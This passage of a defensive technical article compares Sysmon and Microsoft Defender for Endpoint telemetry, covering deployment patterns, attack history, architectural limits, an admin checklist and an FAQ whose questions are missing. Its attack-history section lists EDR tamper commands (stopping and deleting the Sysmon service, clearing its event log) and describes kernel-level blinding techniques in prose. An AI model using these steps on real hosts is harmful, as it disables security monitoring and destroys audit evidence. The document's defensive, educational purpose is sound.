The in-portal Advanced Hunting surface and the Sentinel surface differ on three practitioner-level axes:

Dimension	In-portal Advanced Hunting	Sentinel + Defender XDR connector
Retention	30 days of raw data per query [@advanced-hunting-overview]	Configurable per-workspace, up to 12 years archive [@sentinel-xdr-connector][@ms-log-analytics-archive]
Query surface	Six core `Device*` tables plus cross-domain `AlertInfo` / `EmailEvents` / `IdentityLogonEvents` / `CloudAppEvents`	Six core `Device*` tables (per-table selection) plus the entire Log Analytics workspace -- third-party logs, custom tables, ASIM-normalized data
Cost	Included with MDE Plan 2 license	Per-GB Sentinel ingestion (current GA tier) plus per-GB archive
Detection authoring	Custom detection rules; in-portal advanced-hunting-to-alert promotion	Scheduled analytics rules; SOAR playbook triggers; automation rules
Cross-tenant hunting	Tenant-bound only	Possible via Lighthouse / Sentinel Workspaces aggregation
Live response triggers	In-portal action surface	Via Logic Apps / Defender API connector

The in-portal economics are predictable: the queries are included with the license, the retention is uniform at thirty days, the surface is the six tables plus the cross-domain entity catalogue. The Sentinel economics are flexible but billable: longer retention, more table coverage, more automation, all of which carry per-GB ingestion charges. The choice is operational: which queries does the team need to run on data older than thirty days?

When each surface is the right one

For the SOC-analyst-driven, real-time threat-hunting workflow that §1 modeled with Maya -- thirty days back, six tables, cross-domain join into AlertInfo -- the in-portal Advanced Hunting surface is the obvious fit. For the longer-retention, multi-source, automated-analytic-rule workflow -- where detection engineers want a scheduled rule that joins DeviceProcessEvents to a third-party identity log on a normalized schema -- the Sentinel surface is the obvious fit.

The two surfaces are not exclusive. The most-cited operational pattern in 2026 is to keep the in-portal surface as the SOC-analyst hunting console (retention 30 days, no cost) and to run the Defender XDR connector into Sentinel for the subset of tables the team needs longer retention or analytics-rule scheduling on. Per-table selection keeps the per-GB ingestion bill predictable.The Sentinel connector preserves table names but namespaces them inside the Log Analytics workspace; DeviceProcessEvents in Sentinel is the same shape as DeviceProcessEvents in the Defender XDR portal, and most queries port between the two surfaces unchanged. Some columns are renamed at the connector boundary -- the most common gotcha is the time-zone and timestamp representation -- but the join semantics and the cross-walk to Sysmon EIDs do not change.

The portal-URL transition

A small operational detail worth naming: the Defender XDR portal lives at both security.microsoft.com (legacy, still functional) and defender.microsoft.com (current). The new URL was announced as part of the Microsoft 365 Defender to Microsoft Defender XDR rebrand at Ignite 2023 [@defender-xdr-ms-learn][@ms-ignite-2023-blog]. The rebrand changed neither the KQL substrate nor the Device* schema; queries written against the legacy URL behave identically against the new URL. This is the disambiguation §1 alluded to in its layer-7 description: the same KQL query, the same tables, against either URL.

Two query surfaces, six tables, twenty-nine Sysmon EIDs, and one operational question every SOC manager has asked at least once: do we deploy Sysmon alongside Defender for Endpoint, or trust Defender alone? That is §10.

10. Sysmon Plus MDE: Three Coexistence Patterns

This is the operational question of the article. The community has converged on three answers, and one of them is wrong for almost every MDE-licensed environment. The three options, in order of increasing complexity and -- in most enterprise contexts -- decreasing prevalence:

Option A: Sysmon only, no MDE

Used in air-gapped environments, unlicensed environments, and regulatory contexts that prohibit cloud-side telemetry. Sysmon on its own produces a complete event stream into the local Windows event log, which a downstream collector (Windows Event Forwarding to a central collector, Splunk's Universal Forwarder, Wazuh's Windows agent, the Elastic Endpoint integration) picks up and ships to a customer-controlled SIEM. The trade-off: no cross-tenant correlation, no cloud-side threat-intelligence join, no EtwTi (kernel security ETW provider) consumption, no Microsoft-authored detection rules. The customer owns every rule themselves.

This is the right answer in a small set of contexts and the wrong answer in the licensed-enterprise context where MDE is already deployed.

Option B: MDE only, no Sysmon

The Microsoft-recommended baseline for licensed environments. MDE's Device* schema covers the high-value Sysmon EID surface -- 1, 3, 7, 10, 11, 12-14 -- at full or near-full fidelity, and MDE adds the layers Sysmon does not have: cloud-side correlation, cross-domain joins (email, identity, cloud apps), Microsoft-authored built-in detection rules with continuous tuning, the AlertInfo/AlertEvidence evidence graph, and the SOC-actionable surface (device isolation, live response, automated investigation) [@mde-ms-learn][@ms-mitre-2024-blog].

For most MDE-Plan-2-licensed organizations without a mature detection-engineering team, Option B is the right baseline. The trade-off is that the truncations and omissions in the Device* schema -- the ProcessAccess GrantedAccess mask Sysmon EID 10 surfaces verbatim that MDE drops, the WMI consumer expressions Sysmon EIDs 19-21 capture that MDE does not surface, the RawAccessRead and PipeEvent classes Sysmon captures that MDE omits entirely -- are not available to the team's custom hunting queries. For an organization without the engineering capacity to build hunting rules on those verbose surfaces, this is rarely a binding constraint.

Option C: MDE plus tuned Sysmon (Hartong's MDE-augment)

The detection-engineering-community pattern. Run MDE as the primary EDR. Run Sysmon alongside it with olafhartong/sysmon-modular's sysmonconfig-mde-augment.xml configuration, whose explicit README design intent is "intended to augment the information and have as little overlap as possible" with MDE [@github-hartong-modular]. The augment config drops the EIDs MDE covers cleanly (1, 3, 7, 11, 12-14, 22) and keeps the EIDs MDE truncates or omits (8 with full SourceImage, 9 RawAccessRead, 10 with full GrantedAccess mask, 15 FileCreateStreamHash, 17-18 PipeEvent, 19-21 WmiEvent, 23 with archive variant on narrowly-scoped paths). The result is a Sysmon event-log stream that is purpose-built to complement MDE's Kusto stream, not duplicate it.

Key idea: If you are an MDE-licensed shop with a detection-engineering team and you are not running Hartong's sysmonconfig-mde-augment.xml, you are paying for two EDRs and getting the coverage of one. The augment config was purpose-built to make Sysmon's verbose-field surface complementary to MDE's cloud-correlation surface, not a duplicate. Standalone Sysmon next to MDE without the augment-specific exclusions is the worst of both worlds: double telemetry volume, double licensing exposure, and no incremental detection coverage.

Cost and operational complexity

The three options have different operational profiles. The summary table:

Pattern	License posture	Telemetry volume	Operational complexity	Best used for
A. Sysmon only	None (free)	Medium (depends on config)	Low (one product, one config)	Air-gapped, regulatory-no-cloud, unlicensed
B. MDE only	MDE Plan 1 or Plan 2	Cloud-controlled (no per-host volume bill)	Low (one product, Microsoft-managed)	Most MDE-licensed orgs without detection-engineering team
C. MDE + Hartong augment	MDE Plan 2 + WEF or SIEM	High on Sysmon side (verbose EIDs); low on MDE side	High (two products, modular config, WEF or SIEM forwarder)	Detection-engineering-mature SOCs

A small operational caution: standalone Sysmon next to MDE without the augment-specific exclusions is the worst of three worlds. The drivers coexist fine at different Filter Manager altitudes, but the event log and downstream collector now carry every Sysmon EID the default config emits plus everything MDE collects on the cloud side. The double-pay problem the KeyIdea calls out is not theoretical; it shows up the first month a SOC team forgets to swap the default sysmonconfig.xml for sysmonconfig-mde-augment.xml.

The Hartong-augment-with-MDE pattern carries a second cost: the ETW manifest-provider session cap. Windows allows up to eight trace sessions to enable and receive events from the same manifest-based provider [@ms-etw-limits]; the EtwTi security provider, Microsoft Defender Antivirus auto-start sessions, and any WPR sessions a developer might spin up all compete for that shared pool. Adding Sysmon's session takes one. On a host with a third-party EDR that already consumes several sessions against the same provider, this can cause silent telemetry loss. Audit logman query -ets regularly.

The volume math

For sizing, assume a typical Windows endpoint generates roughly 20,000 process-create events per day under steady state (developer workstations are in this range; server volumes are higher; air-gapped jump boxes are lower) [@github-tsale-edr-telem]. The Hartong-augment config drops the top three high-volume EIDs (1 ProcessCreate, 7 ImageLoad, 11 FileCreate) that MDE already collects, retaining only the verbose surfaces. That cuts Sysmon volume by roughly 70 to 85 percent relative to a default-config Sysmon deployment, leaving only the verbose-EID stream (8, 10, 17-18, 19-21) MDE does not surface.

This is the operational answer to the question. For organisations with detection-engineering teams, Option C is the default. For organisations without, Option B is the default. Option A is correct in a narrow set of contexts and should be picked on purpose. The next two sections turn from the layered architecture to the layered attack surface, because every defense has an attacker.

11. The Attack Tradition: Telemetry Suppression on Both Halves of the Pipeline

If you run an EDR on a host, you have made a bet that the EDR can survive contact with an attacker who knows it is there. The history of that bet -- on both halves of the pipeline -- is a chronological story with named techniques and named CVEs. Twelve years of attack tradition reduce to a small number of attack classes plus the structural defenses that closed each one.

Sysmon-side attacks, in order

The earliest tampering technique for Sysmon was the most obvious: stop the driver. Until Sysmon v15 in June 2023, the Sysmon service was a normal Windows service, and a SYSTEM-privilege attacker had several easy options:

sc stop sysmon and sc delete sysmon to unload SysmonDrv.sys.
Rewrite the minifilter altitude so Sysmon loads after a tamper hook.
wevtutil cl Microsoft-Windows-Sysmon/Operational to erase history.
Rewrite SYSTEM\CurrentControlSet\Services\SysmonDrv\Parameters to re-program Sysmon's filter without restarting it.
Register a Windows event-channel ACL change to silence Microsoft-Windows-Sysmon.

A small family of community-published tools automated this class. The structural defense, before v15, was discipline: keep SYSTEM out of attacker hands.

The June 2023 v15 protected-process gate is the structural response to this entire class. Microsoft Learn states the change verbatim: "The service runs as a protected process, thus disallowing a wide range of user mode interactions" [@sysmon-ms-learn]. A SYSTEM-privilege attacker can no longer OpenProcess(PROCESS_TERMINATE) against Sysmon.exe, inject code into the service's address space, or attach a user-mode debugger. The class is not closed -- a kernel primitive still works, and a BYOVD chain that can write _EPROCESS.Protection defeats the gate -- but the bar moves from "a wevtutil command in a PowerShell window" to "a kernel exploit primitive."

MDE-side attacks, in order

The MDE-side attack tradition starts at the Antimalware-PPL boundary on MsSense.exe. The FalconForce 2022 work this article has already cited multiple times is the dispositive primary [@falconforce-2022]. The verbatim TL;DR -- describing how raising dbgsrv.exe to WinTcb PPL lets researchers debug MDE and capture cloud-bound payloads, which surfaced a missing-authorization vulnerability allowing spoofed telemetry to any M365 tenant -- landed earlier as the §6 PullQuote and is the framing this section builds on.

The technique used a PPLKiller-class BYOVD chain to raise dbgsrv.exe to WinTcb PPL, attach to MsSense.exe, and capture plaintext payloads via SspiCli!EncryptMessage instrumentation. The vulnerability that work disclosed, CVE-2022-23278, was patched on March 8, 2022 [@msrc-cve-2022-23278][@nvd-cve-2022-23278]. That patch closed one missing-authorization gap in the cloud-side trust model. It did not close the class.

The InfoGuard Labs 2025 follow-up [@infoguard-2025] demonstrated that the broader class is still open. The technique they used was different -- in-memory patching of CRYPT32!CertVerifyCertificateChainPolicy to disable certificate-pinning validation, rather than PPL-elevated debugging -- but the vulnerability they surfaced is the same class: cloud endpoints (/edr/commands/cnc and /senseir/v1/actions/) that do not properly validate authentication tokens on traffic claiming to originate from the endpoint. As §7 documented, the MSRC disposition was low severity, no fix committed -- the operational consequence is that the spoofed-telemetry trust pattern that produced CVE-2022-23278 in 2022 is, three years later, still exploitable along a parallel surface.

The broader attack class -- ETW Threat Intelligence (EtwTi) blinding -- has been studied independently of MDE. The structural answer in 2026 is HVCI plus VBL plus Antimalware-PPL plus ELAM (the four-component hardening stack). On a fully-hardened endpoint, the user-mode tamper surface that defined the 2014-to-2020 era of EDR-blinding tradecraft is largely closed; the residual attack surface is kernel-mode adversary primitives. That is the structural ceiling §12 picks up.

Cross-pipeline attacks

Some attacks affect both halves of the pipeline simultaneously. The most-cited is BYOVD-driven kernel-callback removal: a Bring-Your-Own-Vulnerable-Driver chain loads a Microsoft-signed but vulnerable driver, exploits a known CVE in the driver, and from kernel context calls PsSetCreateProcessNotifyRoutineEx with a Remove = TRUE flag against the EDR sensor's registered callbacks, effectively unhooking both Sysmon and MDE at the kernel-callback layer. The structural defense Microsoft shipped in response is the Microsoft Vulnerable Driver Blocklist with HVCI enforcement, which has been on by default since Windows 11 22H2 [@ms-driver-blocklist].

A second cross-pipeline attack is direct-syscall bypass of user-mode hook libraries -- but this attack is mostly a relic from the 2010s when EDR vendors relied on ntdll.dll user-mode IAT hooks; modern Sysmon and MDE neither register nor depend on user-mode hooks for the kernel-callback events. Direct-syscall malware that bypasses the user-mode hooks of a third-party EDR will still produce a Sysmon EID 1 and an MDE DeviceProcessEvents row, because the kernel-callback fires whether or not the malware called NtCreateUserProcess via ntdll.dll.

The attack-surface lattice

flowchart TD A1["Sysmon-side: sc stop, wevtutil clear, registry altitude swap"] --> D1[Sysmon v15 protected-process gate] A2["MDE-side: PPLKiller + dbgsrv WinTcb to attach MsSense"] --> D2["Antimalware-PPL on MsSense.exe"] A3["Cloud-side: CVE-2022-23278 spoofed cloud telemetry"] --> D3["MSRC patch March 8 2022"] A4["Cloud-side: InfoGuard 2025 cert-pinning bypass + missing auth"] --> O4["OPEN: 'low severity, no fix committed'"] A5["Cross-pipeline: BYOVD kernel-callback unhook"] --> D5["HVCI + Vulnerable Driver Blocklist (Win11 22H2+)"] D1 --> R["Residual: kernel-mode adversary primitive that defeats HVCI + VBL"] D2 --> R D5 --> R D3 --> R O4 -.unclosed.-> R

The shape of the lattice is the shape of the field's hardening: every user-mode attack class has a structural defense, and the structural defenses converge on a single residual -- the kernel-mode adversary primitive that defeats HVCI plus the Vulnerable Driver Blocklist. On the cloud side, the InfoGuard 2025 finding is the unresolved item -- the same trust pattern that produced CVE-2022-23278 in 2022 produced a different cluster of missing-authorization bugs three years later. The attack-defense arc is still moving, and the two-sided nature of the pipeline (host + cloud) is why.

Every attack surface has a structural defense. But every defense has a horizon. What is outside the horizon?

12. Theoretical Limits: What the Pipeline Cannot See

Sysmon and Microsoft Defender for Endpoint are observation pipelines, not enforcement layers. That statement contains four structural ceilings the engineering cannot lift. These are not bugs to be fixed; they are properties of the architecture that follow from the choice of where the pipeline collects.

Ceiling 1: The pre-driver-load horizon

Both Sysmon's SysmonDrv.sys and Defender for Endpoint's WdBoot.sys are kernel drivers, but they sit at different points in the boot order. WdBoot.sys is ELAM-signed and loads before any non-ELAM driver, which lets it classify subsequent boot-start drivers as Good, Bad, or Unknown for the kernel's load decision. (Measured Boot separately hashes WdBoot.sys along with the bootloader and kernel into TPM PCRs; that integrity-attestation channel is a sibling feature, not ELAM's own job.) SysmonDrv.sys is BootStart-ordered but not ELAM-signed -- it loads early, but not first.

Events that happen before the EDR driver's DriverEntry runs are not observable by that driver. For Sysmon, that means rootkit-class malware that loads inside the early Windows boot path (UEFI bootkits, boot-record manipulation, very-early kernel modifications) is invisible until after Sysmon catches up. For MDE, the ELAM-signed WdBoot.sys closes most of this window for non-ELAM drivers; the residual is anything that runs even earlier -- UEFI-firmware-resident malware, hardware-implant attacks, the very narrow class that targets the pre-ELAM trust boundary itself. The Measured Boot plus Secure Boot stack (covered in adjacent articles in this series) is what observes the pre-ELAM region. EDR's reach does not extend below the ELAM line.

Ceiling 2: The observation-vs-enforcement latency gap

Sysmon's kernel-callback to event-log latency is sub-millisecond. The driver runs the rule engine, decides to emit, and writes through the ETW publisher to the Sysmon service. The service writes to the event log. The total path is microseconds in the best case, milliseconds under load.

MDE's end-to-end latency to a queryable Kusto row is seconds to tens of seconds. The endpoint side takes microseconds; the TLS hop to regional ingest takes the dominant fraction of a second; the Kusto write and per-tenant indexing takes the rest. Microsoft's own Advanced Hunting documentation phrases the freshness contract carefully: "Advanced hunting receives this data almost immediately after the sensors that collect them successfully transmit it to the corresponding cloud services" [@advanced-hunting-overview]. "Almost immediately" is empirically a few seconds in steady state, longer under load, and indefinite when the endpoint cannot reach the cloud.

Any payload that completes its work inside the observation window has executed before the SIEM rule could fire. A mimikatz.exe invocation that dumps LSA secrets in three milliseconds, exfiltrates them over a covert DNS channel in 800 milliseconds, and exits in another two milliseconds has produced a complete attack chain before MDE's event has reached Kusto, let alone before the Maya-class analyst has glanced at her console. The hybrid responses that blur this boundary -- Sysmon v14's FileBlockExecutable (EID 27), MDE's ASR rules and Network Protection -- are kernel-callback-time decisions, not SIEM-rule-time decisions; they run inside the few-microsecond window the driver itself owns, and they are constrained by the rule logic baked into the host configuration rather than by the live correlation logic of the cloud-side detection engine.

Ceiling 3: MDE schema truncation versus Sysmon manifest

This is the ceiling §8 quantified column-by-column. The Device* tables surface a normalized, mostly-complete cross-walk of Sysmon's manifest -- but mostly-complete is not the same as complete. The ProcessAccess GrantedAccess mask is the most-cited example: Sysmon EID 10 captures the full 32-bit PROCESS_ACCESS_MASK (which discriminates between PROCESS_QUERY_INFORMATION, PROCESS_VM_READ, PROCESS_CREATE_THREAD, and so on -- the canonical malicious patterns are visible in this mask), while MDE's DeviceEvents OpenProcessApiCall ActionType collapses the mask into a coarser categorization. The WmiEvent consumer expressions Sysmon EIDs 19-21 capture verbatim -- which are how WMI-based persistence is detected -- are not surfaced in the Device* schema at all. RawAccessRead (EID 9, the canonical disk-level credential-theft observable) is omitted. PipeEvent (EIDs 17-18) is omitted.

Hartong's sysmonconfig-mde-augment.xml exists precisely because of this asymmetry. The augment config is a community-curated artifact whose purpose is to fill the schema-truncation gap. The cost: a second telemetry stream on the host. The benefit: detection-engineering visibility into the verbose-EID surface MDE drops.

Ceiling 4: The kernel-mode adversary primitive

A ring-0 attacker with a working kernel primitive -- a memory-write capability into the kernel data structures, typically delivered via BYOVD against a vulnerable signed driver -- can defeat the pipeline as a consequence of defeating the structural defenses that protect it. Specifically:

Direct call to PsSetCreateProcessNotifyRoutineEx with Remove = TRUE unregisters the EDR sensor's callback, after which CreateProcess events on that host produce no observable.
A patch to the _EPROCESS.Protection field of MsSense.exe or Sysmon.exe strips the Antimalware-PPL gate, after which user-mode attacks against the service work again.
A direct write into the EtwTi provider's keyword mask zero-pages the security-event-emission surface, after which the kernel-side EtwTi consumer (which several EDRs subscribe to) sees no events even when the underlying behaviour fired.

The "Tampering with Windows Event Tracing" research published by Palantir in 2018 (Matt Graeber's canonical writeup) and the follow-on EtwTi-blinding tradition is the published primary for this attack class [@palantir-etw-tampering-2018]. The structural defenses are HVCI plus VBL plus Antimalware-PPL plus ELAM. But the four-component hardening stack does not prevent a kernel-mode adversary primitive from defeating the EDR; it only raises the bar to needing a kernel-mode adversary primitive.

Observation requires execution overhead, and execution requires the observer to live in the same trust domain as the observed. A kernel-mode observer (Sysmon, MDE) lives in the same kernel trust domain as the kernel-mode attacker; a hypervisor-rooted observer (`EtwTi` running under Virtualization-Based Security) shifts the trust boundary up one level, but does not eliminate it -- the observer-in-VBS is still subject to attacks on the hypervisor itself. There is no architectural place to put the observer that is strictly outside the attacker's reach unless the observer is in different hardware, which is what hardware-rooted Root-of-Trust attestations attempt and what an Anti-Tamper Service Provider (ATSP) is being defined for. EDR sensors will always be co-resident with the adversary at *some* trust boundary. The ceiling is structural.

Four ceilings, four sets of open questions. What is the field working on right now?

13. Open Problems and Active Work

Some questions in this article have no answer in 2026. Five of them are where the field will move next.

The MDE kernel-callback inventory

As §6's aha-moment Callout established, Microsoft has not published a kernel-callback inventory for the MDE EDR sensor, which is the structural reason Hartong's sysmonconfig-mde-augment.xml exists as a community-curated artifact rather than a Microsoft-published reference. What §13 adds is the empirical scaffolding the community uses in the absence of that inventory: the MITRE Engenuity Round 6 (2024) evaluation results [@ms-mitre-2024-blog] plus the Shen et al. whole-graph re-analysis [@arxiv-shen-2024] are the closest published evidence of which MDE detection paths produced an alert during a known emulated technique. Neither covers an end-to-end kernel-callback enumeration comparable to Sysmon's manifest -- they cover outputs (alerts produced) rather than mechanisms (callbacks registered). Closing this gap would require either Microsoft to publish a per-ActionType-to-per-kernel-callback cross-walk for the Device* schema, or the community to fund and publish a reverse-engineered inventory that goes meaningfully past the FalconForce 2022 and InfoGuard 2025 slices. As of 2026, neither has happened.

Defender XDR built-in detection rule logic

The AlertInfo and AlertEvidence table schemas are published; the underlying rule logic that produces alerts in these tables is not. Microsoft ships "Microsoft-authored detection rules" as part of Defender XDR Plan 2, and the rules update continuously without an obvious public changelog. The community workaround is to subscribe to the MITRE ATT&CK evaluation rounds (the most recent being Round 6 in 2024 [@ms-mitre-2024-blog][@arxiv-shen-2024]) and infer rule coverage from per-technique detection scores, but this is indirect and lossy. A published rule-logic catalogue would let detection-engineering teams reason about which custom rules are duplicates of Microsoft's authored content and which fill genuine gaps.

Cross-tenant hunting and data sovereignty

MSSPs (managed-security service providers) routinely need to hunt across multiple customer tenants for shared-IOC observations. Microsoft's official multi-tenant story is Microsoft Defender XDR Multitenant Management (in GA) plus Azure Lighthouse for cross-tenant Sentinel access. Both are functional and both are documented at the operational level. The deeper question -- what is the GDPR/HIPAA/FedRAMP framework around hunting an IOC observed in Tenant A against telemetry held in Tenant B's regional Kusto cluster? -- is unsettled. The data-residency commitments Microsoft makes per region [@ms-server-endpoints-learn] do not directly answer the cross-tenant-hunt question. Vendor and customer guidance is still maturing.

A Microsoft-published reference MDE-augmentation Sysmon config

Hartong's config is the community answer to the question "what Sysmon EIDs should I emit on a host that already has MDE?" There is no Microsoft-published reference equivalent. This is the most surgical near-term improvement Microsoft could make. Publishing such a config -- even as a starting-point template, not a binding recommendation -- would compress an entire detection-engineering conversation into a single endorsed artifact. The political reason it has not happened is partly that Microsoft does not officially recommend running Sysmon alongside MDE; the operational reality is that detection-engineering-mature shops do anyway.

Cross-platform parity

Sysmon for Linux (microsoft/SysmonForLinux, created October 28, 2020 and publicly announced in October 2021) ships an eBPF-based implementation of the same XML schema and emits to syslog [@github-sysmon-linux]. It is a substantial subset of the Windows manifest -- process create, file write, network connect, image load, raw access read -- with the cross-OS shared XML rule grammar going for it, so a detection-engineering team can write one Sigma-aligned rule and run it against both Windows and Linux endpoints with minor token substitutions. Full parity between the Windows kernel-callback Sysmon and the Linux eBPF Sysmon is not the design intent; the Linux port intentionally captures only the EIDs that map cleanly onto eBPF observables. BTFHub plus SysinternalsEBPF (the in-tree CO-RE infrastructure the Linux port uses) make per-kernel-version deployments tractable, but the field has not yet converged on a single canonical Linux config the way it converged on SwiftOnSecurity for Windows.

These five open problems are where the field will move in the next five years. In the meantime, what does the analyst do on Monday morning?

14. Seven Things to Do Monday Morning

Everything above has been background. Here is the operational checklist. Each step is anchored to a primary citation. Walk all seven on a single non-production host before fleet rollout; the ninety-second triage walk from §1 is best learned by reproducing it once on your own tenant.

1. Verify the MDE sensor service is healthy

Run as Administrator on the endpoint:

sc query sense

A healthy result shows STATE: 4 RUNNING and WIN32_EXIT_CODE: 0. If the result is STATE: 1 STOPPED or the service is missing entirely, consult the WDATPOnboarding event source in the Application event log for events 5, 10, 15, 30, 35, 40, 65, and 70 -- each has a documented resolution procedure [@sense-troubleshoot]. On Windows Server 2019, 2022, 2025, or Azure Stack HCI 23H2 or later, also verify the Feature on Demand is installed:

DISM.EXE /Online /Get-CapabilityInfo /CapabilityName:Microsoft.Windows.Sense.Client~~~~

The result should show State : Installed and Version : 10.x.x.x. If State : NotPresent, install the FoD before proceeding.

2. Open Advanced Hunting and run the §8 query

Navigate to defender.microsoft.com (or the legacy security.microsoft.com), expand Hunting > Advanced hunting, paste the §8 KQL query, and run it [@advanced-hunting-overview]. On a fresh tenant the query may return zero rows -- that is the correct result for a healthy environment. Tighten the time window if it is slow (Timestamp > ago(1h) instead of ago(24h)) until the query returns within ten seconds. The point of this step is to confirm the read surface is reachable and that the user has Hunter (or higher) RBAC permission on the tenant.

3. If licensed for Sentinel, install the Defender XDR connector

In the Microsoft Sentinel workspace, navigate to Data connectors, choose Microsoft Defender XDR, and configure per-table streaming [@sentinel-xdr-connector]. Pick the tables your team needs longer retention or analytics-rule scheduling on; leave the others to in-portal Advanced Hunting. Be aware that enabling the connector "automatically disconnects" any legacy Microsoft Defender component connectors during enablement; this is the cleanup detail to plan for during migration windows [@sentinel-xdr-connector].

4. If deploying Sysmon alongside MDE, start from the augment config

Clone olafhartong/sysmon-modular, build the sysmonconfig-mde-augment.xml variant, and deploy with:

Sysmon64.exe -accepteula -i sysmonconfig-mde-augment.xml

Verify the active configuration with Sysmon64.exe -c and confirm the rule count matches the augment config's expected output [@github-hartong-modular].

5. If deploying Sysmon standalone, start from NextronSystems or modular default

For air-gapped or unlicensed environments, clone NextronSystems/sysmon-config (the post-2021-rename successor to Neo23x0/sysmon-config) and deploy sysmonconfig.xml or, for the blocking-rule variant, sysmonconfig-export-block.xml [@github-neo23x0][@github-nextronsystems-meta]. Alternatively, olafhartong/sysmon-modular's default sysmonconfig.xml (built from the modular library) is the right choice if you want fine-grained per-technique tuning later [@github-hartong-modular].

6. Verify Sysmon v15.2 or later is running

Sysmon64.exe -c

The output's header line should show the binary version. Anything v15.x or later has the protected-process gate enabled [@sysmon-ms-learn][@bleepingcomputer-sysmon15]. Anything older is trivially blindable by a SYSTEM-privilege attacker and is the single biggest deployment-hygiene risk in the Sysmon population today.

7. Audit the MDE onboarding registry hives

Compare the live registry values to the expected onboarding state:

reg query "HKLM\SOFTWARE\Policies\Microsoft\Windows Advanced Threat Protection"
reg query "HKLM\SOFTWARE\Microsoft\Windows Advanced Threat Protection\Status"

Unexpected changes -- particularly a change to the onboarding OrgId or to the policy-controlled Disabled value -- are an indicator that the tenant or device has been re-targeted, possibly by an attacker who obtained admin-level access and is attempting to re-route the endpoint's telemetry to a different tenant or to disable the MDE sensor entirely [@sense-troubleshoot]. Set up a Sentinel detection rule on DeviceRegistryEvents with RegistryKey contains "Windows Advanced Threat Protection" to surface this class of tampering automatically.

Note: Walk steps 1 and 2 on a single non-production host before fleet rollout. The ninety-second-triage walk you saw in §1 is best learned by reproducing it once on your own tenant. The cost of getting steps 4-6 wrong (deploying the wrong Sysmon config on a high-volume server fleet) is hours of operational pain; the cost of doing them right on a single test host first is twenty minutes.

The MDE sensor service has not been onboarded on this host. Two common causes: (1) the endpoint is on a Windows Server SKU and the SENSE Feature on Demand has not been installed; run the DISM `Get-CapabilityInfo` check in step 1 to confirm. (2) The onboarding script (the `WindowsDefenderATPLocalOnboardingScript.cmd` or the equivalent Group Policy / Intune / SCCM artifact) has not been run on this host. The MDE settings page in the Defender XDR portal shows the per-device onboarding artifacts under **Settings > Endpoints > Onboarding** for download [@sense-troubleshoot].

The Defender XDR portal also exposes a device timeline view that surfaces a chronological event stream per device without requiring KQL. This is the right view for analysts who are still learning the schema; the KQL surface is the right view for repeatable hunts and detection-rule authoring.

Seven steps, one Monday. The rest of the questions are in the FAQ.

15. Frequently Asked Questions

Seven of the questions that come up every time this material is taught.

Yes on its output side; mostly no on its input side. Sysmon publishes its events through an ETW provider called `Microsoft-Windows-Sysmon`, which is how downstream collectors and the Windows Event Log service consume the data. On its *input* side, Sysmon is a kernel driver that collects via five different mechanisms -- `PsSetCreateProcessNotifyRoutineEx` for process create and exit, `PsSetLoadImageNotifyRoutine` for image load and driver load, `PsSetCreateThreadNotifyRoutineEx` for remote-thread creation, `ObRegisterCallbacks` for cross-process access, `CmRegisterCallbackEx` for registry, and Filter Manager minifilters for ordinary file system and NPFS named pipes. Two exceptions live on Sysmon's input side. The single kernel-ETW consumer is `Microsoft-Windows-DNS-Client` for EID 22 DNSEvent; the WmiEvent family (EIDs 19-21) is implemented in a consumer style against the WMI activity provider's user-mode tracing surface. Calling Sysmon "ETW-based" without that distinction is the most common architectural confusion in the field [@sysmon-ms-learn]. For most organizations licensed for MDE Plan 2 and without a mature detection-engineering team, yes -- MDE alone is the right baseline. For organizations with a detection-engineering team, the community pattern is to deploy MDE *plus* a tuned Sysmon configuration (specifically Olaf Hartong's `sysmonconfig-mde-augment.xml`) that fills the gaps where MDE's `Device*` schema truncates or omits fields that Sysmon's manifest captures verbatim -- the `ProcessAccess` GrantedAccess mask, the full WMI consumer expressions, RawAccessRead, the pipe events, and selected file-delete archival paths. The wrong answer for an MDE-licensed shop with a detection-engineering team is to do nothing on the Sysmon side; the second-wrong answer is to deploy *default* Sysmon alongside MDE, which produces double the telemetry volume for the coverage of one [@github-hartong-modular][@mde-ms-learn]. The five class-specific `Device*` tables (`DeviceProcessEvents`, `DeviceNetworkEvents`, `DeviceFileEvents`, `DeviceImageLoadEvents`, `DeviceRegistryEvents`) each map onto a single Sysmon EID family and present a normalized, per-class set of columns. `DeviceEvents` is the miscellaneous catch-all: AMSI scan results, exploit-protection events, Defender Antivirus operational events, Attack Surface Reduction rule fires, Network Protection blocks, OpenProcess API calls, and other MDE-specific telemetry surface here under different `ActionType` values. If a row's `ActionType` does not match what you expected, the row is probably in `DeviceEvents` rather than the table you searched first [@advanced-hunting-overview]. No. The historical root is SwiftOnSecurity's `sysmon-config`, created on February 1, 2017 per the GitHub REST API [@github-swiftonsecurity-meta]. Florian Roth (`@Neo23x0`) forked SwiftOnSecurity's repository in January 2018 and added blocking-rule support, community pull-request merges, and the maintainer roster that now includes Tobias Michalski, Christian Burkard, and Nasreddine Bencherchali [@github-neo23x0]. The Neo23x0 repository was renamed to `NextronSystems/sysmon-config` on July 24, 2021 [@github-nextronsystems-meta]; the old URL HTTP-301 redirects to the new one and the content lineage from SwiftOnSecurity is unchanged. Calling Roth's config "the original" is the inverse of the truth; calling it "the canonical actively-maintained fork" is closer. No. Sysmon supports one active configuration at a time. There is no aggregate-multiple-XMLs feature at the driver layer. Olaf Hartong's modular workflow generates a single merged XML at build time from a per-technique module library; the production fleet receives that single XML and the driver enforces it. If you want two configurations -- one for the SOC team's hunting, one for the platform team's audit -- merge the rules at build time and ship the combined product [@github-hartong-modular]. Because it runs as Antimalware Protected Process Light (`PROTECTED_ANTIMALWARE_LIGHT`), the Windows kernel rejects ordinary user-mode `OpenProcess(PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_DUP_HANDLE)` requests against the process from any caller that does not itself run at an equal or higher signer level. The published reverse-engineering technique (FalconForce 2022) is to raise the Windows PE debug server `dbgsrv.exe` to the `WinTcb` signer level via a PPLKiller-class kernel primitive, then attach the elevated debug server to `MsSense.exe`. That technique requires a kernel-mode primitive (commonly a BYOVD chain), which is itself non-trivial. The protection level is the structural defense; the debug-server technique is the dispositive community workaround [@falconforce-2022]. Thirty days of raw data in the Defender XDR portal: "*Advanced hunting is a query-based threat hunting tool that you use to explore up to 30 days of raw data*" [@advanced-hunting-overview]. Beyond thirty days, retention is configurable per workspace via the Microsoft Sentinel Defender XDR connector; the Log Analytics workspace archive tier supports up to twelve years of per-table archive on a per-GB-billed basis [@sentinel-xdr-connector][@ms-log-analytics-archive]. The two surfaces are not exclusive; the common operational pattern is in-portal for the hunting team (30 days, no per-GB cost) plus per-table Sentinel streaming for the analytics-rules team (extended retention, per-GB cost on selected tables).

